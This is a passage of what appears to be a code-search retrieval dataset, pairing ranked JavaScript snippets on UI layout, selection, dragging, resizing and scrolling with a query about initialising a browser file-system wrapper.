}\n\n var offset = el.position();\n\n if (!offset) {\n return;\n }\n\n var left = Math.round(offset.left);\n var top = Math.round(offset.top);\n var width = el.outerWidth();\n var height = el.outerHeight();\n\n if (left == oldLeft &&\n top == oldTop &&\n width == oldWidth &&\n height == oldHeight) {\n\n /* The position and size haven't actually changed. */\n return;\n }\n\n var outerHeight = height + borderHeight;\n var outerWidth = width + borderWidth;\n var outerLeft = left - borderOffsetX;\n var outerTop = top - borderOffsetY;\n\n gDiffHighlightBorder.left.css({\n left: outerLeft,\n top: outerTop,\n height: outerHeight\n });\n\n gDiffHighlightBorder.top.css({\n left: outerLeft,\n top: outerTop,\n width: outerWidth\n });\n\n gDiffHighlightBorder.right.css({\n left: outerLeft + width,\n top: outerTop,\n height: outerHeight\n });\n\n gDiffHighlightBorder.bottom.css({\n left: outerLeft,\n top: outerTop + height,\n width: outerWidth\n });\n\n oldLeft = left;\n oldTop = top;\n oldWidth = width;\n oldHeight = height;\n\n updateQueued = false;\n }", "title": "" }, { "docid": "e4feb7824a17f2b4468b37a027d0f0b9", "score": "0.51579124", "text": "function scrollingMechanismRender()\r\n {\r\n // Add event functionality\r\n if(backwardBtn)\r\n {\r\n backwardBtn.off('click').click(leftScrolling);\r\n }\r\n\r\n if(forwardBtn)\r\n {\r\n forwardBtn.off('click').click(rightScrolling);\r\n }\r\n\r\n\r\n if(scrollThumb)\r\n {\r\n scrollThumb.css({\r\n width: '60px',\r\n cursor: 'pointer'\r\n });\r\n\r\n dragX = scrollThumb.position().left;\r\n scrollThumbWidth = scrollThumb.prop('offsetWidth');\r\n // dragY = scrollThumb.position().top;\r\n\r\n scrollThumb.off('mousedown').on('mousedown', function (event) {\r\n\r\n reProbingDim();\r\n\r\n // Prevent default dragging of selected content\r\n event.preventDefault();\r\n dragStartX = event.pageX - dragX;\r\n\r\n $log.debug('Init: event.pageX: ' + event.pageX + ' dragX: ' + dragX + ' dragStartX: ' + dragStartX);\r\n // dragStartY = event.pageY - dragY;\r\n $document.on('mousemove', mousemove);\r\n $document.on('mouseup', mouseup);\r\n });\r\n }\r\n \r\n getAllDimension();\r\n }", "title": "" }, { "docid": "f568419509e477905eba9ccea81dc1f7", "score": "0.5153043", "text": "beforeUpdate() {\n const selection = window.getSelection();\n if (selection.rangeCount) {\n const range = selection.getRangeAt(0);\n if (this.$el === range.startContainer.parentNode) {\n data.temp.edit.offset = range.startOffset;\n this.$nextTick(function() {\n if (range) {\n const range = window.getSelection().getRangeAt(0);\n range.setStart(this.$el.firstChild, data.temp.edit.offset);\n }\n });\n }\n } else {\n this.$nextTick(function() {\n if (data.temp.edit.index) {\n const day = document.getElementsByTagName('h1')[data.temp.edit.day + 1];\n const block = day.parentNode.children[data.temp.edit.index + 1];\n\n console.log('select', data.temp.edit.day, data.temp.edit.index);\n data.temp.edit.index = null;\n data.temp.edit.day = null;\n selection.selectAllChildren(block);\n }\n });\n }\n }", "title": "" }, { "docid": "19fc830feecdaff8b69d52cdf7bc7a28", "score": "0.5149094", "text": "saveSelection_() {\n if (this.selectionStartIndex_ == NO_SELECT_INDEX ||\n this.selectionEndIndex_ == NO_SELECT_INDEX) {\n console.log(\n 'Selection bounds are not set properly:', this.selectionStartIndex_,\n this.selectionEndIndex_);\n } else {\n chrome.automation.setDocumentSelection({\n anchorObject: this.selectionStartObject_,\n anchorOffset: this.selectionStartIndex_,\n focusObject: this.selectionEndObject_,\n focusOffset: this.selectionEndIndex_\n });\n }\n }", "title": "" }, { "docid": "aee86c98aaba636d3c28cf0766ce02c6", "score": "0.51476115", "text": "function handleSelections(selections) {\r\n\t// selection may (currently) be sketch or element (with sketchId) or thing from selection history\r\n\t// add to selection history\r\n\tvar newSelectionRecordIds = new Array();\r\n\tfor (var si=0; si<selections.length; si++) {\r\n\t\tvar selection = selections[si];\r\n\t\tif (selection.selectionRecordId) {\r\n\t\t\tconsole.log('Selection from selection history '+selection.selectionRecordId);\r\n\t\t\tnewSelectionRecordIds.push(selection.selectionRecordId);\r\n\t\t\tcanDeleteSelection = false;\r\n\t\t} else {\r\n\t\t\tmoveHistory();\r\n\t\t\t// either sketch or elements\r\n\t\t\tvar group = undefined;\t\t\r\n\t\t\tif (selection.sketch) {\r\n\t\t\t\tgroup = createIndexItemFromElements(selection.sketch, selection.sketch.elements, selectionProject);\r\n\t\t\t} else if (selection.elements) {\r\n\t\t\t\tgroup = createIndexItemFromElements(undefined, selection.elements, selectionProject);\r\n\t\t\t} else if (selection.sequence) {\r\n\t\t\t\tgroup = createIndexItemFromSequenceItems(selection.sequence.id, selection.sequence.description, selection.sequence.items, selectionProject);\r\n\t\t\t}\r\n\t\t\tvar selectionRecord = { id : nextSelectionRecordId++, selection : selection };\r\n\t\t\tgroup.selectionRecordId = selectionRecord.id;\r\n\t\t\tselectionRecords[selectionRecord.id] = selectionRecord;\r\n\t\t\tnewSelectionRecordIds.push(selectionRecord.id);\r\n\t\t\tgroup.translate(new paper.Point(INDEX_CELL_SIZE/2-group.bounds.center.x, (INDEX_CELL_SIZE-INDEX_LABEL_HEIGHT)/2-group.bounds.center.y));\r\n\t\t\tselectionRecord.item = group;\r\n\t\t}\r\n\t}\r\n\t//selectionProject.view.zoom = 1;\r\n\t//selectionProject.view.center = new paper.Point($(selectionProject.view._element).width()/2, INDEX_CELL_SIZE/2);\r\n\t// remove old selection(s)\r\n\tclearCurrentSelection();\r\n\t// update current selection\r\n\tvar showFrame = showingSequences;\r\n\tfor (var si=0; si<newSelectionRecordIds.length; si++) {\r\n\t\tvar id = newSelectionRecordIds[si];\r\n\t\tvar selectionRecord = selectionRecords[id];\r\n\t\tif (!selectionRecord) {\r\n\t\t\tconsole.log('cannot find selection '+id);\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tvar currentSelection = { id: id, record: selectionRecord };\r\n\t\tcurrentSelections.push(currentSelection);\r\n\t\t// highlight current selection in selection history\r\n\t\t// addHighlight is from sketchertools.js\r\n\t\tcurrentSelection.items = [];\r\n\t\tvar item = addHighlight(selectionProject, selectionRecord.item);\r\n\t\titem.strokeWidth = 3;\r\n\t\titem.strokeColor = '#808080';\r\n\t\tcurrentSelection.items.push(item);\r\n\t\tconsole.log('added history selection for '+currentSelection.id);\r\n\t\t// TODO highlght current selection in object projects and/or index projects??\r\n\t\t// if sequences view, first frame selection, show/zoom to...\r\n\t\tif (showFrame && selectionRecord.selection.sequence && selectionRecord.selection.sequence.items) {\r\n\t\t\tfor (var ii=0; ii<selectionRecord.selection.sequence.items.length; ii++) {\r\n\t\t\t\tvar sitem = selectionRecord.selection.sequence.items[ii];\r\n\t\t\t\tvar sketchId = null;\r\n\t\t\t\tif (sitem.frameRef && sitem.frameRef.sketchId)\r\n\t\t\t\t\tsketchId = sitem.frameRef.sketchId;\r\n\t\t\t\telse if (sitem.sketchRef)\r\n\t\t\t\t\tsketchId = sitem.sketchRef.sketchId;\r\n\t\t\t\tif (showFrame && sketchId) {\r\n\t\t\t\t\tvar sketch = sketchbook.sketches[sketchId];\r\n\t\t\t\t\tif (sketch) {\r\n\t\t\t\t\t\tsequencesViewProject.activate();\r\n\t\t\t\t\t\tshowFrame = false; // only once\r\n\t\t\t\t\t\tvar animateToAll = true;\r\n\t\t\t\t\t\tif (sketch!=currentSequencesSketch) {\r\n\t\t\t\t\t\t\tclearProject(sequencesViewProject);\r\n\t\t\t\t\t\t\tsequencesViewProject.layers[0].activate();\r\n\t\t\t\t\t\t\trefreshBackground(sketch);\r\n\t\t\t\t\t\t\tsequencesViewProject.layers[1].activate();\r\n\t\t\t\t\t\t\tcurrentSequencesSketch = sketch;\r\n\t\t\t\t\t\t\tcurrentSequencesSketch.toPaperjs(sketchbook, images);\r\n\t\t\t\t\t\t\tshowAll(sequencesViewProject);\r\n\t\t\t\t\t\t\tanimateToAll = false;\r\n\t\t\t\t\t\t}\t\t\t\r\n\t\t\t\t\t\t// frame\r\n\t\t\t\t\t\tif (sitem.frameRef && sitem.frameRef.elementId) {\r\n\t\t\t\t\t\t\tvar el = sketch.getElementById(sitem.frameRef.elementId);\r\n\t\t\t\t\t\t\tif (el && el.frame) { \r\n\t\t\t\t\t\t\t\tvar bounds = new paper.Rectangle(el.frame.x, el.frame.y, el.frame.width, el.frame.height);\r\n\t\t\t\t\t\t\t\tvar w = $(sequencesViewProject.view._element).width();\r\n\t\t\t\t\t\t\t\tvar h = $(sequencesViewProject.view._element).height();\r\n\t\t\t\t\t\t\t\tvar zoom = Math.min(MAX_ZOOM, w/bounds.width, h/bounds.height);\r\n\t\t\t\t\t\t\t\t//console.log('showAll: bounds='+bw+','+bh+', canvas='+w+','+h+', zoom='+zoom+', bounds.center='+bounds.center);\r\n\t\t\t\t\t\t\t\tanimateTo(sequencesViewProject, zoom, bounds.center);\r\n\t\t\t\t\t\t\t\tanimateToAll = false;\r\n\t\t\t\t\t\t\t\t//sequencesViewProject.view.zoom = zoom;\r\n\t\t\t\t\t\t\t\t//sequencesViewProject.view.center = bounds.center;\r\n\t\t\t\t\t\t\t\t// zoom \r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tif (animateToAll) {\r\n\t\t\t\t\t\t\tvar all = getZoomAll(sequencesViewProject);\r\n\t\t\t\t\t\t\tanimateTo(sequencesViewProject, all.zoom, all.center);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tupdateActionsForCurrentSelection();\r\n\tif (currentSelections.length==0) {\r\n\t\t$('#propertiesShowSelection').addClass('propertiesShowDisabled');\r\n\t\thandlePropertiesShowSelected('propertiesShowNew');\r\n\t}\r\n\telse {\r\n\t\t$('#propertiesShowSelection').removeClass('propertiesShowDisabled');\r\n\t\thandlePropertiesShowSelected('propertiesShowSelection');\t\t\r\n\t}\r\n\tupdatePropertiesForCurrentSelection();\r\n\tredraw(paper);\r\n}", "title": "" }, { "docid": "40a426a37fb55906d36b5aa1f766b211", "score": "0.51475257", "text": "initializeDragging_() {\n if (this.dragListenerInstalled_) {\n return;\n }\n\n this.vsync_.run({\n measure: () => {\n this.measureMinimizedRect_();\n },\n mutate: () => {\n this.createDraggingMask_();\n\n // Desktop listeners\n this.addDragListener_(\n dev().assertElement(this.draggingMask_),\n 'mousedown',\n e => {\n e.preventDefault();\n this.isTouched_ = true;\n this.isDragging_ = false;\n this.mouse_(e, true);\n }\n );\n this.addDragListener_(this.ampdoc_.win.document, 'mouseup', () => {\n this.isTouched_ = false;\n this.isDragging_ = false;\n // Call drag one last time to see if the velocity is still not null\n // in which case, drag would call itself again to finish the animation\n this.drag_();\n });\n this.addDragListener_(this.ampdoc_.win.document, 'mousemove', e => {\n this.isDragging_ = this.isTouched_;\n if (this.isDragging_) {\n e.preventDefault();\n // Start dragging\n this.dockState_ = DockStates.DRAGGABLE;\n this.drag_();\n }\n this.mouse_(e);\n });\n // Touch listeners\n this.addDragListener_(\n dev().assertElement(this.draggingMask_),\n 'touchstart',\n e => {\n e.preventDefault();\n this.isTouched_ = true;\n this.isDragging_ = false;\n this.mouse_(e, true);\n }\n );\n this.addDragListener_(this.ampdoc_.win.document, 'touchend', () => {\n this.isTouched_ = false;\n this.isDragging_ = false;\n // Call drag one last time to see if the velocity is still not null\n // in which case, drag would call itself again to finish the animation\n this.drag_();\n });\n this.addDragListener_(this.ampdoc_.win.document, 'touchmove', e => {\n this.isDragging_ = this.isTouched_;\n if (this.isDragging_) {\n e.preventDefault();\n // Start dragging\n this.dockState_ = DockStates.DRAGGABLE;\n this.drag_();\n }\n this.mouse_(e);\n });\n this.dragListenerInstalled_ = true;\n },\n });\n }", "title": "" }, { "docid": "9a7130cb0feb9ddfe5b7ba47b7cb8cd0", "score": "0.51448977", "text": "function _layout(size, scrollOffset, nested) {\n\n\t // Track the number of times the layout-function was executed\n\t this._debug.layoutCount++;\n\t //_log.call(this, 'Layout, scrollOffset: ', scrollOffset, ', particle: ', this._scroll.particle.getPosition1D());\n\n\t // Determine start & end\n\t var scrollStart = 0 - Math.max(this.options.extraBoundsSpace[0], 1);\n\t var scrollEnd = size[this._direction] + Math.max(this.options.extraBoundsSpace[1], 1);\n\t if (this.options.layoutAll) {\n\t scrollStart = -1000000;\n\t scrollEnd = 1000000;\n\t }\n\n\t // Prepare for layout\n\t var layoutContext = this._nodes.prepareForLayout(\n\t this._viewSequence, // first node to layout\n\t this._nodesById, { // so we can do fast id lookups\n\t size: size,\n\t direction: this._direction,\n\t reverse: this.options.alignment ? true : false,\n\t scrollOffset: this.options.alignment ? (scrollOffset + size[this._direction]) : scrollOffset,\n\t scrollStart: scrollStart,\n\t scrollEnd: scrollEnd\n\t }\n\t );\n\n\t // Layout objects\n\t if (this._layout.function) {\n\t this._layout.function(\n\t layoutContext, // context which the layout-function can use\n\t this._layout.options // additional layout-options\n\t );\n\t }\n\n\t // Call post-layout function\n\t if (this._postLayout) {\n\t this._postLayout(size, scrollOffset);\n\t }\n\n\t // Mark non-invalidated nodes for removal\n\t this._nodes.removeNonInvalidatedNodes(this.options.removeSpec);\n\n\t // Check whether the bounds have been reached\n\t _calcBounds.call(this, size, scrollOffset);\n\n\t // Update scroll-to spring\n\t _calcScrollToOffset.call(this, size, scrollOffset);\n\n\t // When pagination is enabled, snap to page\n\t _snapToPage.call(this, size, scrollOffset);\n\n\t // If the bounds have changed, and the scroll-offset would be different\n\t // than before, then re-layout entirely using the new offset.\n\t var newScrollOffset = _calcScrollOffset.call(this, true);\n\t if (!nested && (newScrollOffset !== scrollOffset)) {\n\t //_log.call(this, 'offset changed, re-layouting... (', scrollOffset, ' != ', newScrollOffset, ')');\n\t return _layout.call(this, size, newScrollOffset, true);\n\t }\n\n\t // Normalize scroll offset so that the current viewsequence node is as close to the\n\t // top as possible and the layout function will need to process the least amount\n\t // of renderables.\n\t this._scroll.unnormalizedScrollOffset = scrollOffset;\n\t scrollOffset = _normalizeViewSequence.call(this, size, scrollOffset);\n\n\t // Update spring\n\t _updateSpring.call(this);\n\n\t return scrollOffset;\n\t }", "title": "" }, { "docid": "27b4fea76fb6e67f37f0f81996469dde", "score": "0.5125662", "text": "updateSelectionBox() {\n\t\tlet width = this.vecSelectE.x - this.vecSelectS.x;\n\t\tlet height = this.vecSelectE.y - this.vecSelectS.y;\n\n\t\tthis.el.style.left = `${width < 0 ? this.vecSelectE.x : this.vecSelectS.x}px`;\n\t\tthis.el.style.top = `${height < 0 ? this.vecSelectE.y : this.vecSelectS.y}px`;\n\n\t\tthis.el.style.width = `${Math.abs(width)}px`;\n\t\tthis.el.style.height = `${Math.abs(height)}px`;\n\t}", "title": "" }, { "docid": "ece75cb2d0fc6cc9a39cf68813db80bc", "score": "0.5123332", "text": "function _moved() {\n\t\t\t\t// move elements that are half in view\n\t\t\t\t_adjustContentPosition.call(this);\n\t\t\t\t// fire the change event if we should\n\t\t\t\t_fireChangeEvent.call(this);\n\t\t\t}", "title": "" }, { "docid": "62a8c90cbb59ef18c08101cb7114bce3", "score": "0.5118384", "text": "function _resizeSelection(event) {\n event.preventDefault();\n event.stopPropagation();\n\n var mousePosition = _getMousePosition(event);\n\n var height = mousePosition[1] - selectionOrigin[1],\n width = mousePosition[0] - selectionOrigin[0];\n\n if (Math.abs(width) < options.minSize[0])\n width = width >= 0 ? options.minSize[0] : - options.minSize[0];\n\n if (Math.abs(height) < options.minSize[1])\n height = height >= 0 ? options.minSize[1] : - options.minSize[1];\n\n if (selectionOrigin[0] + width < 0 || selectionOrigin[0] + width > $image.width())\n width = - width;\n\n if (selectionOrigin[1] + height < 0 || selectionOrigin[1] + height > $image.height())\n height = - height;\n\n if (options.maxSize[0] > options.minSize[0] && options.maxSize[1] > options.minSize[1]) {\n\n if (Math.abs(width) > options.maxSize[0])\n width = width >= 0 ? options.maxSize[0] : - options.maxSize[0];\n\n if (Math.abs(height) > options.maxSize[1])\n height = height >= 0 ? options.maxSize[1] : - options.maxSize[1];\n }\n\n if (resizeHorizontally)\n options.selectionWidth = width;\n\n if (resizeVertically)\n options.selectionHeight = height;\n\n if (options.aspectRatio) {\n if (width > 0 && height > 0 || width < 0 && height < 0)\n if (resizeHorizontally)\n height = Math.round(width / options.aspectRatio);\n else\n width = Math.round(height * options.aspectRatio);\n else\n if (resizeHorizontally)\n height = - Math.round(width / options.aspectRatio);\n else\n width = - Math.round(height * options.aspectRatio);\n\n if (selectionOrigin[0] + width > $image.width()) {\n width = $image.width() - selectionOrigin[0];\n height = height > 0 ? Math.round(width / options.aspectRatio) : - Math.round(width / options.aspectRatio);\n }\n\n if (selectionOrigin[1] + height < 0) {\n height = - selectionOrigin[1];\n width = width > 0 ? - Math.round(height * options.aspectRatio) : Math.round(height * options.aspectRatio);\n }\n\n if (selectionOrigin[1] + height > $image.height()) {\n height = $image.height() - selectionOrigin[1];\n width = width > 0 ? Math.round(height * options.aspectRatio) : - Math.round(height * options.aspectRatio);\n }\n options.selectionWidth = width;\n options.selectionHeight = height;\n }\n\n if (options.selectionWidth < 0) {\n options.selectionWidth = Math.abs(options.selectionWidth);\n options.selectionPosition[0] = selectionOrigin[0] - options.selectionWidth;\n } else {\n options.selectionPosition[0] = selectionOrigin[0];\n }\n\n if (options.selectionHeight < 0) {\n options.selectionHeight = Math.abs(options.selectionHeight);\n options.selectionPosition[1] = selectionOrigin[1] - options.selectionHeight;\n } else {\n options.selectionPosition[1] = selectionOrigin[1];\n }\n\n options.onChange(_getCropData());\n\n _updateInterface('resizeSelection');\n }", "title": "" }, { "docid": "fce261739658e0ff4c80a20c4b19633e", "score": "0.5117064", "text": "function prePositionNotifications(){for(var A=0;A<o.length;A++)o[A].moveTo(0,0)}", "title": "" }, { "docid": "33a45a63d1f2ad4628e3ddb72935d816", "score": "0.5116837", "text": "function resetLayoutSelector() {\n\n if (document.readyState === 'complete') {\n /* initialize widthSlider with Default Value. */\n LAYOUTSELECTOR_CONST.widthSlider.slider('value', LAYOUTSELECTOR_CONST.widthSliderMinVal);\n\n /* below function call resets the grid layout wizard in Layout Selector.*/\n resetLayoutWizard();\n\n LAYOUTSELECTOR_CONST.tableLayoutSelect.find('td').removeClass('ui-selected');\n\n LAYOUTSELECTOR_CONST.panelCol.text('');\n LAYOUTSELECTOR_CONST.panelRowColSeperator.text('');\n LAYOUTSELECTOR_CONST.panelRow.text('');\n\n /* initialize spacing slider & spacing with default minimum value i.e. 2.*/\n LAYOUTSELECTOR_CONST.spacingSlider.slider('value', LAYOUTSELECTOR_CONST.formSpacingMinValue);\n LAYOUTSELECTOR_CONST.formSpacing.val(LAYOUTSELECTOR_CONST.formSpacingMinValue);\n\n $('#formCustomWidth, #formWidth').keyup(function (event) {\n if (event.keyCode === 46 || event.keyCode === 8) {\n return true;\n }\n else if (/\\D/g.test(this.value)) {\n this.value = this.value.replace(/\\D/g, '');\n }\n });\n /* formCustomWidth textbox Validation which allows only numeric values & Max length i.e.4.*/\n $(LAYOUTSELECTOR_CONST.formCustomWidth).keypress(function (event) {\n if (LAYOUTSELECTOR_CONST.formCustomWidth.val().length >= 4 && event.keyCode !== 8 && event.keyCode !== 46) {\n return false;\n }\n });\n\n /* form spacing Width textbox Validation which allows only numeric values & Max length i.e.2.*/\n $(LAYOUTSELECTOR_CONST.formSpacing).keypress(function (event) {\n if (LAYOUTSELECTOR_CONST.formSpacing.val().length >= 2 && event.keyCode !== 8 && event.keyCode !== 46) {\n return false;\n }\n });\n /* below are the error message divs needs to be removed if messages are visible. */\n $(LAYOUTSELECTOR_CONST.widthError).removeClass('errorMessage').text('');\n $(LAYOUTSELECTOR_CONST.panelError).removeClass('errorMessage').text('');\n }\n }", "title": "" }, { "docid": "75c7eebb04d92cd3ade121c325fd6593", "score": "0.511214", "text": "function computeReplacedSel(doc,changes,hint){var out=[];var oldPrev=Pos(doc.first,0),newPrev=oldPrev;for(var i=0;i<changes.length;i++){var change=changes[i];var from=offsetPos(change.from,oldPrev,newPrev);var to=offsetPos(changeEnd(change),oldPrev,newPrev);oldPrev=change.to;newPrev=to;if(hint==\"around\"){var range=doc.sel.ranges[i],inv=cmp(range.head,range.anchor)<0;out[i]=new Range(inv?to:from,inv?from:to);}else{out[i]=new Range(from,from);}}return new Selection(out,doc.sel.primIndex);}// Used to get the editor into a consistent state again when options change.", "title": "" }, { "docid": "f02347d97f02737e9f9e6287e4aa81db", "score": "0.51086515", "text": "function adjustmentLayout() {\n\n\t$('.snippet_structure-info-product_specs_size span').each(function(idx, elm) {\n\n\t\tvar li = $(this).parent();\n\t\t$(this).css('height', $(li).height() + 4);\n\t\t$(this).css('width', $(li).width() + 3);\n\t\t$(this).parent().toggleClass('unavailable');\n\t});\n}", "title": "" }, { "docid": "b8d8b8aeb54a14e884a0334c16504ea3", "score": "0.51083094", "text": "function handleResize() {\r\n\tconsole.log('handle resize');\r\n\tfor (var vi in paper.View._views) {\r\n\t\tvar v = paper.View._views[vi];\r\n\t\tif (v.isVisible()) {\r\n\t\t\tconsole.log('canvas:resize to '+$(v._element).width()+\",\"+$(v._element).height());\r\n\t\t\t// need to force a change or it does some weird partial rescaling\r\n\t\t\tv.viewSize = new paper.Size(1,1);\r\n\t\t\tv.viewSize = new paper.Size($(v._element).width(),$(v._element).height());\r\n\t\t}\r\n\t}\r\n}", "title": "" }, { "docid": "04c9ad233e9c1dd260f57ef2ddd33c75", "score": "0.5106898", "text": "new_scroll_position(){\n /* IMPORTANT NOTE: \n * cannot use this.el.getFirstVisibleScreenRow()\n * or/and this.el.getLastVisibleScreenRow()\n * because their value are NOT in sync with what in actually displayed\n * in this editor and hence the reachable HTML that we want to extract \n */\n const first_win_line = this.get_first_line_in_window()\n const last_win_line = this.get_last_line_in_window()\n console.log(\"Win First/last: \" + first_win_line + \" / \" + last_win_line);\n /**\n * Special guard for the first scroll event since the editor might be part\n * way down in a document and if we don't gueard it will just start\n * processing in the middle, loosing the top, and finish when it reaches\n * the bottom.\n */\n const first_pass = this.last_processed_line == -1;\n const not_at_the_top = first_win_line != 0;\n const first_pass_but_not_at_the_top = first_pass && not_at_the_top;\n if( first_pass_but_not_at_the_top ){ return; }\n /**\n * Guard to ensure that subsequent scrolls have actually caused the editor\n * elements to update before processing.\n */\n const no_unprocessed_rows_visible = last_win_line <= this.last_processed_line;\n if( no_unprocessed_rows_visible ){ return; }\n \n /** Process visible lines */\n this.get_lines_in_window()\n \n /** Guard for when we are finished processing */\n const last_line = this.lines.length - 1;\n const all_lines_processed = this.last_processed_line == last_line;\n if( all_lines_processed ){ \n this.done = true;\n return; \n }\n }", "title": "" }, { "docid": "478d3b11aa65f59586e07ef3a13ccb7c", "score": "0.5102283", "text": "function relayoutDiagram() {\n kanbanDiagram.selection.each(function (n) {\n n.invalidateLayout();\n });\n kanbanDiagram.layoutDiagram();\n}", "title": "" }, { "docid": "50e3a921a05469446fb50839092f1d7d", "score": "0.50785905", "text": "canUpdateBounds() {\n return false;\n }", "title": "" }, { "docid": "e0890562311b55c458121a0182352063", "score": "0.507402", "text": "function resizeEast(e) {\n var documentWidth = document.documentElement.clientWidth;\n var calculateValue = false;\n var containerRectValues;\n if (!Object(__WEBPACK_IMPORTED_MODULE_0__syncfusion_ej2_base__[\"M\" /* isNullOrUndefined */])(containerElement)) {\n containerRectValues = getClientRectValues(containerElement);\n }\n var pageX = (getEventType(e.type) === 'mouse') ? e.pageX : e.touches[0].pageX;\n var targetRectValues = getClientRectValues(targetElement);\n if (!Object(__WEBPACK_IMPORTED_MODULE_0__syncfusion_ej2_base__[\"M\" /* isNullOrUndefined */])(containerElement) && (((targetRectValues.left - containerRectValues.left) + targetRectValues.width) < maxWidth\n || (targetRectValues.right - containerRectValues.left) > targetRectValues.width)) {\n calculateValue = true;\n }\n else if (Object(__WEBPACK_IMPORTED_MODULE_0__syncfusion_ej2_base__[\"M\" /* isNullOrUndefined */])(containerElement) && (documentWidth - pageX) > 0) {\n calculateValue = true;\n }\n var calculatedWidth = originalWidth + (pageX - originalMouseX);\n var containerLeft = 0;\n if (!Object(__WEBPACK_IMPORTED_MODULE_0__syncfusion_ej2_base__[\"M\" /* isNullOrUndefined */])(containerElement)) {\n containerLeft = containerRectValues.left;\n }\n if (((targetRectValues.left - containerLeft) + calculatedWidth) > maxWidth) {\n calculateValue = false;\n if (targetElement.classList.contains(RESIZE_WITHIN_VIEWPORT)) {\n return;\n }\n targetElement.style.width = maxWidth - (targetRectValues.left - containerLeft) + 'px';\n }\n if (calculateValue) {\n if (calculatedWidth >= minWidth && calculatedWidth <= maxWidth) {\n targetElement.style.width = calculatedWidth + 'px';\n }\n }\n}", "title": "" }, { "docid": "00f72e184ce66a4ac4f71a6a08707251", "score": "0.5073844", "text": "function resizeActions(){\n\n //checking if it needs to get responsive\n responsive();\n\n // rebuild immediately on touch devices\n if (isTouchDevice) {\n var activeElement = document.activeElement;\n\n //if the keyboard is NOT visible\n if (!matches(activeElement, 'textarea') && !matches(activeElement, 'input') && !matches(activeElement, 'select')) {\n var currentHeight = getWindowHeight();\n\n //making sure the change in the viewport size is enough to force a rebuild. (20 % of the window to avoid problems when hidding scroll bars)\n if( Math.abs(currentHeight - previousHeight) > (20 * Math.max(previousHeight, currentHeight) / 100) ){\n reBuild(true);\n previousHeight = currentHeight;\n }\n }\n }\n else{\n adjustToNewViewport();\n }\n }", "title": "" }, { "docid": "292260151e4d7a9d10437230f10fea58", "score": "0.50673795", "text": "let collectionAddIndex;\n if (repeat._bottomBufferHeight > repeat.itemHeight) {\n viewAddIndex = viewCount;\n if (!removeMoreThanInDom) {\n let lastViewItem = repeat._getLastViewItem();\n collectionAddIndex = repeat.items.indexOf(lastViewItem) + 1;\n } else {\n collectionAddIndex = j;\n }\n repeat._bottomBufferHeight = repeat._bottomBufferHeight - (repeat.itemHeight);\n }", "title": "" }, { "docid": "40452065022ee8699863141670cff9a1", "score": "0.5066994", "text": "onWindowResize() {\n this.recalculateScrollBar();\n this.recalculatePosition();\n this.recalculateScale();\n }", "title": "" }, { "docid": "707793af24e6a46df4a7b604ae11d6ba", "score": "0.50656784", "text": "function guideCount()\n{\n var doc = app.activeDocument;\n var guideHArray = [];\n var guideVArray = [];\n var guideHPos;\n var guideVPos;\n var xLeft;\n var xRight;\n var yTop;\n var yBottom;\n var newSelectionHoz;\n var newSelectionVert;\n \n for (var i=0; i < app.activeDocument.guides.length; i++)\n {\n \n if(app.activeDocument.guides[i].direction===Direction.HORIZONTAL) {\n \n //var guideName = app.activeDocument.guides;\n //guideName = typename + i;\n guideHPos = parseInt(app.activeDocument.guides[i].coordinate);\n guideHArray.push(guideHPos);\n guideHArray.sort(sortNumber);\n }\n \n if(app.activeDocument.guides[i].direction===Direction.VERTICAL) {\n \n //var guideName = app.activeDocument.guides;\n //guideName = typename + i;\n guideVPos = parseInt(app.activeDocument.guides[i].coordinate);\n guideVArray.push(guideVPos);\n guideVArray.sort(sortNumber);\n }\n \n\n }\n // Array for Horizontal Guides\n for (var j=0; j < guideHArray.length-1; j++){\n \n xLeft = app.activeDocument.width / 2;\n yTop = guideHArray[j];\n xRight = app.activeDocument.width /2 + 1;\n yBottom = (guideHArray[j+1]+1);\n newSelectionHoz = [ [xLeft,yTop], [xLeft,yBottom], [xRight,yBottom], [xRight,yTop] ]; // set coords for selection, counter-clockwise\n doc.selection.select(newSelectionHoz);\n //alert(newSelection);\n runPixelMeasure(); // Run the Pixel Measure Tool\n //doc.selection.deselect(); \n }\n // Array for Vertical Guides\n for (var k=0; k < guideVArray.length-1; k++){\n \n xLeft = app.activeDocument.height / 2;\n yTop = guideVArray[k];\n xRight = app.activeDocument.height /2 + 1;\n yBottom = (guideVArray[k+1]+1);\n newSelectionVert = [ [yTop, xLeft], [yBottom, xLeft], [yBottom, xRight], [yTop, xRight] ]; // set coords for selection, counter-clockwise\n doc.selection.select(newSelectionVert);\n //alert(newSelection);\n runPixelMeasure(); // Run the Pixel Measure Tool\n //doc.selection.deselect(); \n \n }\n \n}", "title": "" }, { "docid": "ff37ab08f41b34865c5356cdaf24dc0a", "score": "0.5063619", "text": "updateAfterDrag() {\n const movement = (this.config.rtl ? -1 : 1) * (this.drag.endX - this.drag.startX);\n const movementDistance = Math.abs(movement);\n const howManySliderToSlide = this.config.multipleDrag ? Math.ceil(movementDistance / (this.selectorWidth / this.perPage)) : 1;\n\n const slideToNegativeClone = movement > 0 && this.currentSlide - howManySliderToSlide < 0;\n const slideToPositiveClone = movement < 0 && this.currentSlide + howManySliderToSlide > this.innerElements.length - this.perPage;\n\n if (movement > 0 && movementDistance > this.config.threshold && this.innerElements.length > this.perPage) {\n this.prev(howManySliderToSlide);\n } else if (movement < 0 && movementDistance > this.config.threshold && this.innerElements.length > this.perPage) {\n this.next(howManySliderToSlide);\n }\n this.slideToCurrent(slideToNegativeClone || slideToPositiveClone);\n }", "title": "" }, { "docid": "d677c3642fb39b44e09b1f994a3228d2", "score": "0.50601095", "text": "ResetToDragBegin(evt) {\n //var oldC = this._whichContainer( this.oldposX + this.posZeroX, this.oldposY + this.posZeroY );\n //oldC.onend( evt, this ); -> i m not sure if we even need this. With high probability this is actually the chain that generates the overflow\n this.UpdatePosition( this.oldposX + this.posZeroX, this.oldposY + this.posZeroY );\n }", "title": "" } ]
f536051ee1e910644441a6ee8a9daee3
initialise required due to fileAPI async.
[ { "docid": "253b4bbff22a66c8e91beebfe003195c", "score": "0.62762636", "text": "init() {\n return new Promise((resolve, reject)=> {\n\n window.webkitRequestFileSystem(window.PERSISTENT, this.size, ( fs )=> {\n\n this.fs = fs;\n\n this.create().then(( file )=> {\n\n return resolve( file );\n\n });\n\n }, reject );\n\n });\n }", "title": "" } ]
